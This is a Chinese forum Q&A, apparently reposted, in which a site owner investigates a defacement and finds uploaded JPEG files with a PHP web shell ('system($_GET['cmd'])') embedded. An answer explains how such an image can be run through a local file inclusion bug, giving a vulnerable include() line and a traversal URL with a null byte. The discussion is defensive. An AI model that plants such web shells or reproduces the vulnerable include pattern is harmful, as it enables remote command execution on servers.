昨天我的网站被收录了。攻击者将index.php 文件更改为他们自己的(包含他们所有的荣耀消息和问候语)。我已将此情况通知托管公司(我们在专用服务器上运行),就我而言,我正在尝试修复任何似乎是原因的问题,因为我仍然无法指出我们的问题到底是如何发生的服务器受到攻击,但我认为我已经发现了某些基于脚本的漏洞,这可能是罪魁祸首。
我们的网站有一个图像上传器表单,但所有上传的图像都通过使用 php getimagesize 函数验证它们是否确实是图像文件而不是某些代码。仅当图像类型为 IMAGETYPE_GIF、IMAGETYPE_JPEG 或 IMAGETYPE_PNG 时,它们才会被接受。否则,他们将无法上传文件。然而我发现一个上传的图像文件里面包含一个php脚本!您可以下载图片here。这是一个有效的图像文件,但尝试使用任何文本编辑器打开图像,您会在其中找到 php 代码:
<?php
echo "<pre>"; system($_GET['cmd']); echo "</pre>";
?>
例如,图像上传到此位置 (www.mysite.com/uploads/picodes.jpg)。请注意,文件夹上传的权限是 755。攻击者有什么方法可以执行系统(或任何其他命令,例如 passthru,因为我们发现另一个图像隐藏了与上面相同的代码,但不是系统) ,它有 passthru 命令),例如,输入www.mysite.com/uploads/picodes.jpg?cmd=一些命令??据我所知,这是不可能完成的(如果有人能证明我错了,我真的很感激),除非攻击者可以将 jpg 文件重命名为 php,即使这样,这些代码也隐藏在图像深处(请参阅里面的图像)文本编辑器来理解我想说的)
为了预防起见,我通过将这些 php 函数(exec、passthru、proc_close、proc_get_status、proc_nice、proc_open、proc_terminate、shell_exec、system)添加到 php.ini 中的disable_functions 上来禁用它们。
无论如何,我仍然认为攻击者不是通过网络而是通过服务器漏洞获取访问权限,但我认为我的托管公司不这么认为。
无法通过直接请求来利用具有任意 PHP 代码的图像文件,例如http://www.mysite.com/uploads/image.jpg?cmd=somecode
.
尽管如此,它仍然可以与本地文件包含漏洞一起使用。
例如,在index.php中您使用include('pages/' . $_GET['page'] . '.php');
,然后攻击者可以上传包含 PHP 代码的图像并使用以下命令执行命令:http://www.mysite.com/index.php?page=../upload/image.jpg?cmd=somecode%00
UPD:将 URL 中的文件更改为页面
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)